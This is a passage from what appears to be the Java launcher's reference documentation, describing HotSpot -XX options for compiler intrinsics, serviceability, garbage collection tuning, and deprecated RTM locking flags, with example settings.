-XX:StartAggressiveSweepingAt=percent
Forces stack scanning of active methods to aggressively remove unused code when only the given percentage of the code cache is free. The default value is 10%.

-XX:-TieredCompilation
Disables the use of tiered compilation. By default, this option is enabled.

-XX:UseSSE=version
Enables the use of SSE instruction set of a specified version. Is set by default to the highest supported version available (x86 only).

-XX:UseAVX=version
Enables the use of AVX instruction set of a specified version. Is set by default to the highest supported version available (x86 only).

-XX:+UseAES
Enables hardware-based AES intrinsics for hardware that supports it. This option is on by default on hardware that has the necessary instructions. The -XX:+UseAES is used in conjunction with UseAESIntrinsics. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseAESIntrinsics
Enables AES intrinsics. Specifying -XX:+UseAESIntrinsics is equivalent to also enabling -XX:+UseAES. To disable hardware-based AES intrinsics, specify -XX:-UseAES -XX:-UseAESIntrinsics. For example, to enable hardware AES, use the following flags:

-XX:+UseAES -XX:+UseAESIntrinsics

Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseAESCTRIntrinsics
Analogous to -XX:+UseAESIntrinsics enables AES/CTR intrinsics.

-XX:+UseGHASHIntrinsics
Controls the use of GHASH intrinsics. Enabled by default on platforms that support the corresponding instructions. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseChaCha20Intrinsics
Enable ChaCha20 intrinsics. This option is on by default for supported platforms. To disable ChaCha20 intrinsics, specify -XX:-UseChaCha20Intrinsics. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UsePoly1305Intrinsics
Enable Poly1305 intrinsics. This option is on by default for supported platforms. To disable Poly1305 intrinsics, specify -XX:-UsePoly1305Intrinsics. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseBASE64Intrinsics
Controls the use of accelerated BASE64 encoding routines for java.util.Base64. Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseAdler32Intrinsics
Controls the use of Adler32 checksum algorithm intrinsic for java.util.zip.Adler32. Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseCRC32Intrinsics
Controls the use of CRC32 intrinsics for java.util.zip.CRC32. Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseCRC32CIntrinsics
Controls the use of CRC32C intrinsics for java.util.zip.CRC32C. Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseSHA
Enables hardware-based intrinsics for SHA crypto hash functions for some hardware. The UseSHA option is used in conjunction with the UseSHA1Intrinsics, UseSHA256Intrinsics, and UseSHA512Intrinsics options.

The UseSHA and UseSHA*Intrinsics flags are enabled by default on machines that support the corresponding instructions.

This feature is applicable only when using the sun.security.provider.Sun provider for SHA operations. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

To disable all hardware-based SHA intrinsics, specify the -XX:-UseSHA. To disable only a particular SHA intrinsic, use the appropriate corresponding option. For example: -XX:-UseSHA256Intrinsics.

-XX:+UseSHA1Intrinsics
Enables intrinsics for SHA-1 crypto hash function. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseSHA256Intrinsics
Enables intrinsics for SHA-224 and SHA-256 crypto hash functions. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseSHA512Intrinsics
Enables intrinsics for SHA-384 and SHA-512 crypto hash functions. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseMathExactIntrinsics
Enables intrinsification of various java.lang.Math.*Exact() functions. Enabled by default. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseMultiplyToLenIntrinsic
Enables intrinsification of BigInteger.multiplyToLen(). Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseSquareToLenIntrinsic
Enables intrinsification of BigInteger.squareToLen(). Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseMulAddIntrinsic
Enables intrinsification of BigInteger.mulAdd(). Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseMontgomeryMultiplyIntrinsic
Enables intrinsification of BigInteger.montgomeryMultiply(). Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseMontgomerySquareIntrinsic
Enables intrinsification of BigInteger.montgomerySquare(). Enabled by default on platforms that support it. Flags that control intrinsics now require the option -XX:+UnlockDiagnosticVMOptions.

-XX:+UseCMoveUnconditionally
Generates CMove (scalar and vector) instructions regardless of profitability analysis.

-XX:+UseCodeCacheFlushing
Enables flushing of the code cache before shutting down the compiler. This option is enabled by default. To disable flushing of the code cache before shutting down the compiler, specify -XX:-UseCodeCacheFlushing.

-XX:+UseCondCardMark
Enables checking if the card is already marked before updating the card table. This option is disabled by default. It should be used only on machines with multiple sockets, where it increases the performance of Java applications that rely on concurrent operations.

-XX:+UseCountedLoopSafepoints
Keeps safepoints in counted loops. Its default value depends on whether the selected garbage collector requires low latency safepoints.

-XX:LoopStripMiningIter=number_of_iterations
Controls the number of iterations in the inner strip mined loop. Strip mining transforms counted loops into two level nested loops. Safepoints are kept in the outer loop while the inner loop can execute at full speed. This option controls the maximum number of iterations in the inner loop. The default value is 1,000.

-XX:LoopStripMiningIterShortLoop=number_of_iterations
Controls loop strip mining optimization. Loops with the number of iterations less than specified will not have safepoints in them. Default value is 1/10th of -XX:LoopStripMiningIter.

-XX:+UseFMA
Enables hardware-based FMA intrinsics for hardware where FMA instructions are available (such as, Intel and ARM64). FMA intrinsics are generated for the java.lang.Math.fma(a, b, c) methods that calculate the value of ( a * b + c ) expressions.

-XX:+UseSuperWord
Enables the transformation of scalar operations into superword operations. Superword is a vectorization optimization. This option is enabled by default. To disable the transformation of scalar operations into superword operations, specify -XX:-UseSuperWord.

ADVANCED SERVICEABILITY OPTIONS FOR JAVA

These java options provide the ability to gather system information and perform extensive debugging.

-XX:+DisableAttachMechanism
Disables the mechanism that lets tools attach to the JVM. By default, this option is disabled, meaning that the attach mechanism is enabled and you can use diagnostics and troubleshooting tools such as jcmd, jstack, jmap, and jinfo.

Note: The tools such as jcmd, jinfo, jmap, and jstack shipped with the JDK aren’t supported when using the tools from one JDK version to troubleshoot a different JDK version.

-XX:+DTraceAllocProbes
Linux and macOS: Enable dtrace tool probes for object allocation.

-XX:+DTraceMethodProbes
Linux and macOS: Enable dtrace tool probes for method-entry and method-exit.

-XX:+DTraceMonitorProbes
Linux and macOS: Enable dtrace tool probes for monitor events.

-XX:+HeapDumpOnOutOfMemoryError
Enables the dumping of the Java heap to a file in the current directory by using the heap profiler (HPROF) when a java.lang.OutOfMemoryError exception is thrown. You can explicitly set the heap dump file path and name using the -XX:HeapDumpPath option. By default, this option is disabled and the heap isn’t dumped when an OutOfMemoryError exception is thrown.

-XX:HeapDumpPath=path
Sets the path and file name for writing the heap dump provided by the heap profiler (HPROF) when the -XX:+HeapDumpOnOutOfMemoryError option is set. By default, the file is created in the current working directory, and it’s named java_pid<pid>.hprof where <pid> is the identifier of the process that caused the error. The following example shows how to set the default file explicitly (%p represents the current process identifier):

-XX:HeapDumpPath=./java_pid%p.hprof

  • Non-Windows: The following example shows how to set the heap dump file to /var/log/java/java_heapdump.hprof:

    -XX:HeapDumpPath=/var/log/java/java_heapdump.hprof

  • Windows: The following example shows how to set the heap dump file to C:/log/java/java_heapdump.log:

    -XX:HeapDumpPath=C:/log/java/java_heapdump.log

-XX:LogFile=path
Sets the path and file name to where log data is written. By default, the file is created in the current working directory, and it’s named hotspot.log.

  • Non-Windows: The following example shows how to set the log file to /var/log/java/hotspot.log:

    -XX:LogFile=/var/log/java/hotspot.log

  • Windows: The following example shows how to set the log file to C:/log/java/hotspot.log:

    -XX:LogFile=C:/log/java/hotspot.log

-XX:+PrintClassHistogram
Enables printing of a class instance histogram after one of the following events:

  • Non-Windows: Control+\ (SIGQUIT)

  • Windows: Control+C (SIGTERM)

By default, this option is disabled.

Setting this option is equivalent to running the jmap -histo command, or the jcmd pid GC.class_histogram command, where pid is the current Java process identifier.

-XX:+PrintConcurrentLocks
Enables printing of java.util.concurrent locks after one of the following events:

  • Non-Windows: Control+\ (SIGQUIT)

  • Windows: Control+C (SIGTERM)

By default, this option is disabled.

Setting this option is equivalent to running the jstack -l command or the jcmd pid Thread.print -l command, where pid is the current Java process identifier.

-XX:+PrintFlagsRanges
Prints the range specified and allows automatic testing of the values. See Validate Java Virtual Machine Flag Arguments.

-XX:+PerfDataSaveToFile
If enabled, saves jstat binary data when the Java application exits. This binary data is saved in a file named hsperfdata_pid, where pid is the process identifier of the Java application that you ran. Use the jstat command to display the performance data contained in this file as follows:

jstat -class file:///path/hsperfdata_pid

jstat -gc file:///path/hsperfdata_pid

-XX:+UsePerfData
Enables the perfdata feature. This option is enabled by default to allow JVM monitoring and performance testing. Disabling it suppresses the creation of the hsperfdata_userid directories. To disable the perfdata feature, specify -XX:-UsePerfData.

ADVANCED GARBAGE COLLECTION OPTIONS FOR JAVA

These java options control how garbage collection (GC) is performed by the Java HotSpot VM.

-XX:+AggressiveHeap
Enables Java heap optimization. This sets various parameters to be optimal for long-running jobs with intensive memory allocation, based on the configuration of the computer (RAM and CPU). By default, the option is disabled and the heap sizes are configured less aggressively.

-XX:+AlwaysPreTouch
Requests the VM to touch every page on the Java heap after requesting it from the operating system and before handing memory out to the application. By default, this option is disabled and all pages are committed as the application uses the heap space.

-XX:ConcGCThreads=threads
Sets the number of threads used for concurrent GC. Sets threads to approximately 1/4 of the number of parallel garbage collection threads. The default value depends on the number of CPUs available to the JVM.

For example, to set the number of threads for concurrent GC to 2, specify the following option:

-XX:ConcGCThreads=2

-XX:+DisableExplicitGC
Enables the option that disables processing of calls to the System.gc() method. This option is disabled by default, meaning that calls to System.gc() are processed. If processing of calls to System.gc() is disabled, then the JVM still performs GC when necessary.

-XX:+ExplicitGCInvokesConcurrent
Enables invoking of concurrent GC by using the System.gc() request. This option is disabled by default and can be enabled only with the -XX:+UseG1GC option.

-XX:G1AdaptiveIHOPNumInitialSamples=number
When -XX:UseAdaptiveIHOP is enabled, this option sets the number of completed marking cycles used to gather samples until G1 adaptively determines the optimum value of -XX:InitiatingHeapOccupancyPercent. Before, G1 uses the value of -XX:InitiatingHeapOccupancyPercent directly for this purpose. The default value is 3.

-XX:G1HeapRegionSize=size
Sets the size of the regions into which the Java heap is subdivided when using the garbage-first (G1) collector. The value is a power of 2 and can range from 1 MB to 32 MB. The default region size is determined ergonomically based on the heap size with a goal of approximately 2048 regions.

The following example sets the size of the subdivisions to 16 MB:

-XX:G1HeapRegionSize=16m

-XX:G1HeapWastePercent=percent
Sets the percentage of heap that you’re willing to waste. The Java HotSpot VM doesn’t initiate the mixed garbage collection cycle when the reclaimable percentage is less than the heap waste percentage. The default is 5 percent.

-XX:G1MaxNewSizePercent=percent
Sets the percentage of the heap size to use as the maximum for the young generation size. The default value is 60 percent of your Java heap.

This is an experimental flag. This setting replaces the -XX:DefaultMaxNewGenPercent setting.

-XX:G1MixedGCCountTarget=number
Sets the target number of mixed garbage collections after a marking cycle to collect old regions with at most G1MixedGCLIveThresholdPercent live data. The default is 8 mixed garbage collections. The goal for mixed collections is to be within this target number.

-XX:G1MixedGCLiveThresholdPercent=percent
Sets the occupancy threshold for an old region to be included in a mixed garbage collection cycle. The default occupancy is 85 percent.

This is an experimental flag. This setting replaces the -XX:G1OldCSetRegionLiveThresholdPercent setting.

-XX:G1NewSizePercent=percent
Sets the percentage of the heap to use as the minimum for the young generation size. The default value is 5 percent of your Java heap.

This is an experimental flag. This setting replaces the -XX:DefaultMinNewGenPercent setting.

-XX:G1OldCSetRegionThresholdPercent=percent
Sets an upper limit on the number of old regions to be collected during a mixed garbage collection cycle. The default is 10 percent of the Java heap.

-XX:G1ReservePercent=percent
Sets the percentage of the heap (0 to 50) that’s reserved as a false ceiling to reduce the possibility of promotion failure for the G1 collector. When you increase or decrease the percentage, ensure that you adjust the total Java heap by the same amount. By default, this option is set to 10%.

The following example sets the reserved heap to 20%:

-XX:G1ReservePercent=20

-XX:+G1UseAdaptiveIHOP
Controls adaptive calculation of the old generation occupancy to start background work preparing for an old generation collection. If enabled, G1 uses -XX:InitiatingHeapOccupancyPercent for the first few times as specified by the value of -XX:G1AdaptiveIHOPNumInitialSamples, and after that adaptively calculates a new optimum value for the initiating occupancy automatically. Otherwise, the old generation collection process always starts at the old generation occupancy determined by -XX:InitiatingHeapOccupancyPercent.

The default is enabled.

-XX:InitialHeapSize=size
Sets the initial size (in bytes) of the memory allocation pool. This value must be either 0, or a multiple of 1024 and greater than 1 MB. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value is selected at run time based on the system configuration.

The following examples show how to set the size of allocated memory to 6 MB using various units:

-XX:InitialHeapSize=6291456
-XX:InitialHeapSize=6144k
-XX:InitialHeapSize=6m

If you set this option to 0, then the initial size is set as the sum of the sizes allocated for the old generation and the young generation. The size of the heap for the young generation can be set using the -XX:NewSize option. Note that the -Xms option sets both the minimum and the initial heap size of the heap. If -Xms appears after -XX:InitialHeapSize on the command line, then the initial heap size gets set to the value specified with -Xms.

-XX:InitialRAMPercentage=percent
Sets the initial amount of memory that the JVM will use for the Java heap before applying ergonomics heuristics as a percentage of the maximum amount determined as described in the -XX:MaxRAM option. The default value is 1.5625 percent.

The following example shows how to set the percentage of the initial amount of memory used for the Java heap:

-XX:InitialRAMPercentage=5

-XX:InitialSurvivorRatio=ratio
Sets the initial survivor space ratio used by the throughput garbage collector (which is enabled by the -XX:+UseParallelGC option). Adaptive sizing is enabled by default with the throughput garbage collector by using the -XX:+UseParallelGC option, and the survivor space is resized according to the application behavior, starting with the initial value. If adaptive sizing is disabled (using the -XX:-UseAdaptiveSizePolicy option), then the -XX:SurvivorRatio option should be used to set the size of the survivor space for the entire execution of the application.

The following formula can be used to calculate the initial size of survivor space (S) based on the size of the young generation (Y), and the initial survivor space ratio (R):

S=Y/(R+2)

The 2 in the equation denotes two survivor spaces. The larger the value specified as the initial survivor space ratio, the smaller the initial survivor space size.

By default, the initial survivor space ratio is set to 8. If the default value for the young generation space size is used (2 MB), then the initial size of the survivor space is 0.2 MB.

The following example shows how to set the initial survivor space ratio to 4:

-XX:InitialSurvivorRatio=4

-XX:InitiatingHeapOccupancyPercent=percent
Sets the percentage of the old generation occupancy (0 to 100) at which to start the first few concurrent marking cycles for the G1 garbage collector.

By default, the initiating value is set to 45%. A value of 0 implies nonstop concurrent GC cycles from the beginning until G1 adaptively sets this value.

See also the -XX:G1UseAdaptiveIHOP and -XX:G1AdaptiveIHOPNumInitialSamples options.

The following example shows how to set the initiating heap occupancy to 75%:

-XX:InitiatingHeapOccupancyPercent=75

-XX:MaxGCPauseMillis=time
Sets a target for the maximum GC pause time (in milliseconds). This is a soft goal, and the JVM will make its best effort to achieve it. The specified value doesn’t adapt to your heap size. By default, for G1 the maximum pause time target is 200 milliseconds. The other generational collectors do not use a pause time goal by default.

The following example shows how to set the maximum target pause time to 500 ms:

-XX:MaxGCPauseMillis=500

-XX:MaxHeapSize=size
Sets the maximum size (in byes) of the memory allocation pool. This value must be a multiple of 1024 and greater than 2 MB. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value is selected at run time based on the system configuration. For server deployments, the options -XX:InitialHeapSize and -XX:MaxHeapSize are often set to the same value.

The following examples show how to set the maximum allowed size of allocated memory to 80 MB using various units:

-XX:MaxHeapSize=83886080
-XX:MaxHeapSize=81920k
-XX:MaxHeapSize=80m

The -XX:MaxHeapSize option is equivalent to -Xmx.

-XX:MaxHeapFreeRatio=percent
Sets the maximum allowed percentage of free heap space (0 to 100) after a GC event. If free heap space expands above this value, then the heap is shrunk. By default, this value is set to 70%.

Minimize the Java heap size by lowering the values of the parameters MaxHeapFreeRatio (default value is 70%) and MinHeapFreeRatio (default value is 40%) with the command-line options -XX:MaxHeapFreeRatio and -XX:MinHeapFreeRatio. Lowering MaxHeapFreeRatio to as low as 10% and MinHeapFreeRatio to 5% has successfully reduced the heap size without too much performance regression; however, results may vary greatly depending on your application. Try different values for these parameters until they’re as low as possible yet still retain acceptable performance.

-XX:MaxHeapFreeRatio=10 -XX:MinHeapFreeRatio=5

Customers trying to keep the heap small should also add the option -XX:-ShrinkHeapInSteps. See Performance Tuning Examples for a description of using this option to keep the Java heap small by reducing the dynamic footprint for embedded applications.

-XX:MaxMetaspaceSize=size
Sets the maximum amount of native memory that can be allocated for class metadata. By default, the size isn’t limited. The amount of metadata for an application depends on the application itself, other running applications, and the amount of memory available on the system.

The following example shows how to set the maximum class metadata size to 256 MB:

-XX:MaxMetaspaceSize=256m

-XX:MaxNewSize=size
Sets the maximum size (in bytes) of the heap for the young generation (nursery). The default value is set ergonomically.

-XX:MaxRAM=size
Sets the maximum amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics. The default value is the maximum amount of available memory to the JVM process or 128 GB, whichever is lower.

The maximum amount of available memory to the JVM process is the minimum of the machine’s physical memory and any constraints set by the environment (e.g. container).

Specifying this option disables automatic use of compressed oops if the combined result of this and other options influencing the maximum amount of memory is larger than the range of memory addressable by compressed oops. See -XX:UseCompressedOops for further information about compressed oops.

The following example shows how to set the maximum amount of available memory for sizing the Java heap to 2 GB:

-XX:MaxRAM=2G

-XX:MaxRAMPercentage=percent
Sets the maximum amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics as a percentage of the maximum amount determined as described in the -XX:MaxRAM option. The default value is 25 percent.

Specifying this option disables automatic use of compressed oops if the combined result of this and other options influencing the maximum amount of memory is larger than the range of memory addressable by compressed oops. See -XX:UseCompressedOops for further information about compressed oops.

The following example shows how to set the percentage of the maximum amount of memory used for the Java heap:

-XX:MaxRAMPercentage=75

-XX:MinRAMPercentage=percent
Sets the maximum amount of memory that the JVM may use for the Java heap before applying ergonomics heuristics as a percentage of the maximum amount determined as described in the -XX:MaxRAM option for small heaps. A small heap is a heap of approximately 125 MB. The default value is 50 percent.

The following example shows how to set the percentage of the maximum amount of memory used for the Java heap for small heaps:

-XX:MinRAMPercentage=75

-XX:MaxTenuringThreshold=threshold
Sets the maximum tenuring threshold for use in adaptive GC sizing. The largest value is 15. The default value is 15 for the parallel (throughput) collector.

The following example shows how to set the maximum tenuring threshold to 10:

-XX:MaxTenuringThreshold=10

-XX:MetaspaceSize=size
Sets the size of the allocated class metadata space that triggers a garbage collection the first time it’s exceeded. This threshold for a garbage collection is increased or decreased depending on the amount of metadata used. The default size depends on the platform.

-XX:MinHeapFreeRatio=percent
Sets the minimum allowed percentage of free heap space (0 to 100) after a GC event. If free heap space falls below this value, then the heap is expanded. By default, this value is set to 40%.

Minimize Java heap size by lowering the values of the parameters MaxHeapFreeRatio (default value is 70%) and MinHeapFreeRatio (default value is 40%) with the command-line options -XX:MaxHeapFreeRatio and -XX:MinHeapFreeRatio. Lowering MaxHeapFreeRatio to as low as 10% and MinHeapFreeRatio to 5% has successfully reduced the heap size without too much performance regression; however, results may vary greatly depending on your application. Try different values for these parameters until they’re as low as possible, yet still retain acceptable performance.

-XX:MaxHeapFreeRatio=10 -XX:MinHeapFreeRatio=5

Customers trying to keep the heap small should also add the option -XX:-ShrinkHeapInSteps. See Performance Tuning Examples for a description of using this option to keep the Java heap small by reducing the dynamic footprint for embedded applications.

-XX:MinHeapSize=size
Sets the minimum size (in bytes) of the memory allocation pool. This value must be either 0, or a multiple of 1024 and greater than 1 MB. Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. The default value is selected at run time based on the system configuration.

The following examples show how to set the minimum size of allocated memory to 6 MB using various units:

-XX:MinHeapSize=6291456
-XX:MinHeapSize=6144k
-XX:MinHeapSize=6m

If you set this option to 0, then the minimum size is set to the same value as the initial size.

-XX:NewRatio=ratio
Sets the ratio between young and old generation sizes. By default, this option is set to 2. The following example shows how to set the young-to-old ratio to 1:

-XX:NewRatio=1

-XX:NewSize=size
Sets the initial size (in bytes) of the heap for the young generation (nursery). Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes.

The young generation region of the heap is used for new objects. GC is performed in this region more often than in other regions. If the size for the young generation is too low, then a large number of minor GCs are performed. If the size is too high, then only full GCs are performed, which can take a long time to complete. It is recommended that you keep the size for the young generation greater than 25% and less than 50% of the overall heap size.

The following examples show how to set the initial size of the young generation to 256 MB using various units:

-XX:NewSize=256m
-XX:NewSize=262144k
-XX:NewSize=268435456

The -XX:NewSize option is equivalent to -Xmn.

-XX:ParallelGCThreads=threads
Sets the number of the stop-the-world (STW) worker threads. The default value depends on the number of CPUs available to the JVM and the garbage collector selected.

For example, to set the number of threads for G1 GC to 2, specify the following option:

-XX:ParallelGCThreads=2

-XX:+ParallelRefProcEnabled
Enables parallel reference processing. By default, this option is disabled.

-XX:+PrintAdaptiveSizePolicy
Enables printing of information about adaptive-generation sizing. By default, this option is disabled.

-XX:SoftRefLRUPolicyMSPerMB=time
Sets the amount of time (in milliseconds) a softly reachable object is kept active on the heap after the last time it was referenced. The default value is one second of lifetime per free megabyte in the heap. The -XX:SoftRefLRUPolicyMSPerMB option accepts integer values representing milliseconds per one megabyte of the current heap size (for Java HotSpot Client VM) or the maximum possible heap size (for Java HotSpot Server VM). This difference means that the Client VM tends to flush soft references rather than grow the heap, whereas the Server VM tends to grow the heap rather than flush soft references. In the latter case, the value of the -Xmx option has a significant effect on how quickly soft references are garbage collected.

The following example shows how to set the value to 2.5 seconds:

-XX:SoftRefLRUPolicyMSPerMB=2500

-XX:-ShrinkHeapInSteps
Incrementally reduces the Java heap to the target size, specified by the option -XX:MaxHeapFreeRatio. This option is enabled by default. If disabled, then it immediately reduces the Java heap to the target size instead of requiring multiple garbage collection cycles. Disable this option if you want to minimize the Java heap size. You will likely encounter performance degradation when this option is disabled.

See Performance Tuning Examples for a description of using the MaxHeapFreeRatio option to keep the Java heap small by reducing the dynamic footprint for embedded applications.

-XX:StringDeduplicationAgeThreshold=threshold
Identifies String objects reaching the specified age that are considered candidates for deduplication. An object’s age is a measure of how many times it has survived garbage collection. This is sometimes referred to as tenuring.

Note: String objects that are promoted to an old heap region before this age has been reached are always considered candidates for deduplication. The default value for this option is 3. See the -XX:+UseStringDeduplication option.

-XX:SurvivorRatio=ratio
Sets the ratio between eden space size and survivor space size. By default, this option is set to 8. The following example shows how to set the eden/survivor space ratio to 4:

-XX:SurvivorRatio=4

-XX:TargetSurvivorRatio=percent
Sets the desired percentage of survivor space (0 to 100) used after young garbage collection. By default, this option is set to 50%.

The following example shows how to set the target survivor space ratio to 30%:

-XX:TargetSurvivorRatio=30

-XX:TLABSize=size
Sets the initial size (in bytes) of a thread-local allocation buffer (TLAB). Append the letter k or K to indicate kilobytes, m or M to indicate megabytes, or g or G to indicate gigabytes. If this option is set to 0, then the JVM selects the initial size automatically.

The following example shows how to set the initial TLAB size to 512 KB:

-XX:TLABSize=512k

-XX:+UseAdaptiveSizePolicy
Enables the use of adaptive generation sizing. This option is enabled by default. To disable adaptive generation sizing, specify -XX:-UseAdaptiveSizePolicy and set the size of the memory allocation pool explicitly. See the -XX:SurvivorRatio option.

-XX:+UseG1GC
Enables the use of the garbage-first (G1) garbage collector. It’s a server-style garbage collector, targeted for multiprocessor machines with a large amount of RAM. This option meets GC pause time goals with high probability, while maintaining good throughput. The G1 collector is recommended for applications requiring large heaps (sizes of around 6 GB or larger) with limited GC latency requirements (a stable and predictable pause time below 0.5 seconds). By default, this option is enabled and G1 is used as the default garbage collector.

-XX:+UseGCOverheadLimit
Enables the use of a policy that limits the proportion of time spent by the JVM on GC before an OutOfMemoryError exception is thrown. This option is enabled, by default, and the parallel GC will throw an OutOfMemoryError if more than 98% of the total time is spent on garbage collection and less than 2% of the heap is recovered. When the heap is small, this feature can be used to prevent applications from running for long periods of time with little or no progress. To disable this option, specify the option -XX:-UseGCOverheadLimit.

-XX:+UseNUMA
Enables performance optimization of an application on a machine with nonuniform memory architecture (NUMA) by increasing the application’s use of lower latency memory. By default, this option is disabled and no optimization for NUMA is made. The option is available only when the parallel garbage collector is used (-XX:+UseParallelGC).

-XX:+UseParallelGC
Enables the use of the parallel scavenge garbage collector (also known as the throughput collector) to improve the performance of your application by leveraging multiple processors.

By default, this option is disabled and the default collector is used.

-XX:+UseSerialGC
Enables the use of the serial garbage collector. This is generally the best choice for small and simple applications that don’t require any special functionality from garbage collection. By default, this option is disabled and the default collector is used.

-XX:+UseStringDeduplication
Enables string deduplication. By default, this option is disabled. To use this option, you must enable the garbage-first (G1) garbage collector.

String deduplication reduces the memory footprint of String objects on the Java heap by taking advantage of the fact that many String objects are identical. Instead of each String object pointing to its own character array, identical String objects can point to and share the same character array.

-XX:+UseTLAB
Enables the use of thread-local allocation blocks (TLABs) in the young generation space. This option is enabled by default. To disable the use of TLABs, specify the option -XX:-UseTLAB.

-XX:+UseZGC
Enables the use of the Z garbage collector (ZGC). This is a low latency garbage collector, providing max pause times of a few milliseconds, at some throughput cost. Pause times are independent of what heap size is used. Supports heap sizes from 8MB to 16TB.

-XX:ZAllocationSpikeTolerance=factor
Sets the allocation spike tolerance for ZGC. By default, this option is set to 2.0. This factor describes the level of allocation spikes to expect. For example, using a factor of 3.0 means the current allocation rate can be expected to triple at any time.

-XX:ZCollectionInterval=seconds
Sets the maximum interval (in seconds) between two GC cycles when using ZGC. By default, this option is set to 0 (disabled).

-XX:ZFragmentationLimit=percent
Sets the maximum acceptable heap fragmentation (in percent) for ZGC. By default, this option is set to 25. Using a lower value will cause the heap to be compacted more aggressively, to reclaim more memory at the cost of using more CPU time.

-XX:+ZProactive
Enables proactive GC cycles when using ZGC. By default, this option is enabled. ZGC will start a proactive GC cycle if doing so is expected to have minimal impact on the running application. This is useful if the application is mostly idle or allocates very few objects, but you still want to keep the heap size down and allow reference processing to happen even when there are a lot of free space on the heap.

-XX:+ZUncommit
Enables uncommitting of unused heap memory when using ZGC. By default, this option is enabled. Uncommitting unused heap memory will lower the memory footprint of the JVM, and make that memory available for other processes to use.

-XX:ZUncommitDelay=seconds
Sets the amount of time (in seconds) that heap memory must have been unused before being uncommitted. By default, this option is set to 300 (5 minutes). Committing and uncommitting memory are relatively expensive operations. Using a lower value will cause heap memory to be uncommitted earlier, at the risk of soon having to commit it again.

DEPRECATED JAVA OPTIONS

These java options are deprecated and might be removed in a future JDK release. They’re still accepted and acted upon, but a warning is issued when they’re used.

-Xfuture
Enables strict class-file format checks that enforce close conformance to the class-file format specification. Developers should use this flag when developing new code. Stricter checks may become the default in future releases.

-Xloggc:filename
Sets the file to which verbose GC events information should be redirected for logging. The -Xloggc option overrides -verbose:gc if both are given with the same java command. -Xloggc:filename is replaced by -Xlog:gc:filename. See Enable Logging with the JVM Unified Logging Framework.

Example:

-Xlog:gc:garbage-collection.log

-XX:+FlightRecorder
Enables the use of Java Flight Recorder (JFR) during the runtime of the application. Since JDK 8u40 this option has not been required to use JFR.

-XX:RTMAbortRatio=abort_ratio
Specifies the RTM abort ratio is specified as a percentage (%) of all executed RTM transactions. If a number of aborted transactions becomes greater than this ratio, then the compiled code is deoptimized. This ratio is used when the -XX:+UseRTMDeopt option is enabled. The default value of this option is 50. This means that the compiled code is deoptimized if 50% of all transactions are aborted.

-XX:RTMRetryCount=number_of_retries
Specifies the number of times that the RTM locking code is retried, when it is aborted or busy, before falling back to the normal locking mechanism. The default value for this option is 5. The -XX:UseRTMLocking option must be enabled.

-XX:+UseRTMDeopt
Autotunes RTM locking depending on the abort ratio. This ratio is specified by the -XX:RTMAbortRatio option. If the number of aborted transactions exceeds the abort ratio, then the method containing the lock is deoptimized and recompiled with all locks as normal locks. This option is disabled by default. The -XX:+UseRTMLocking option must be enabled.

-XX:+UseRTMLocking
Generates Restricted Transactional Memory (RTM) locking code for all inflated locks, with the normal locking mechanism as the fallback handler. This option is disabled by default. Options related to RTM are available only on x86 CPUs that support Transactional Synchronization Extensions (TSX).

RTM is part of Intel’s TSX, which is an x86 instruction set extension and facilitates the creation of multithreaded applications. RTM introduces the new instructions XBEGIN, XABORT, XEND, and XTEST. The XBEGIN and XEND instructions enclose a set of instructions to run as a transaction. If no conflict is found when running the transaction, then the memory and register modifications are committed together at the XEND instruction. The XABORT instruction can be used to explicitly abort a transaction and the XTEST instruction checks if a set of instructions is being run in a transaction.

A lock on a transaction is inflated when another thread tries to access the same transaction, thereby blocking the thread that didn’t originally request access to the transaction. RTM requires that a fallback set of operations be specified in case a transaction aborts or fails. An RTM lock is a lock that has been delegated to the TSX’s system.

RTM improves performance for highly contended locks with low conflict in a critical region (which is code that must not be accessed by more than one thread concurrently). RTM also improves the performance of coarse-grain locking, which typically doesn’t perform well in multithreaded applications. (Coarse-grain locking is the strategy of holding locks for long periods to minimize the overhead of taking and releasing locks, while fine-grained locking is the strategy of trying to achieve maximum parallelism by locking only when necessary and unlocking as soon as possible.) Also, for lightly contended locks that are used by different threads, RTM can reduce false cache line sharing, also known as cache line ping-pong. This occurs when multiple threads from different processors are accessing different resources, but the resources share the same cache line. As a result, the processors repeatedly invalidate the cache lines of other processors, which forces them to read from main memory instead of their cache.

OBSOLETE JAVA OPTIONS

These java options are still accepted but ignored, and a warning is issued when they’re used.

–illegal-access=parameter
